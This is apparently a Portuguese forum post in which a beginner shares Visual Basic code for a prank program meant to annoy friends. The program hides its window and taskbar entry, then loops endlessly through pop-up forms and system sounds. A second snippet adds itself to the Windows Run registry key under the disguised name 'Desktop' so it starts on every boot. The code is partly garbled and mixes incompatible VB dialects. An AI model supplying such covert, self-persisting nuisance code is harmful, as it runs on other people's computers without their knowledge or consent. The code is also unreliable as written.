Vídeo de como criar um Sistema chatinho para você trollar seus amigos ,espero que gostem e mais para quem está comessando em Visual Basic como eu
Codigo:
Pára quem quiser por pára quando o Windows Iniciar ele se executar está aqui o codigo...
Codigo:
- Código:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Visible = False
Me.ShowInTaskbar = False
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
My.Computer.Audio.PlaySystemSound(Media.SystemSoun ds.Hand)
Form4.Close()
Form2.Show()
Timer1.Enabled = False
Timer2.Enabled = True
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.Audio.PlaySystemSound(Media.SystemSoun ds.Asterisk)
Form2.Close()
Form3.Show()
Timer2.Enabled = False
Timer3.Enabled = True
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
My.Computer.Audio.PlaySystemSound(Media.SystemSoun ds.Beep)
Form3.Close()
Form4.Show()
Timer3.Enabled = False
Timer1.Enabled = True
End Sub
End Class
Pára quem quiser por pára quando o Windows Iniciar ele se executar está aqui o codigo...
- Código:
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_CURRENT_USER\SOFT****\MICROSOFT\WINDOWS\CURRE NTVERSION\RUN\" & "Desktop", App.Path & "\" & App.EXEName & ".exe"
Não defequem nos comentarios por favor and Corrijam-me se tiver algo errado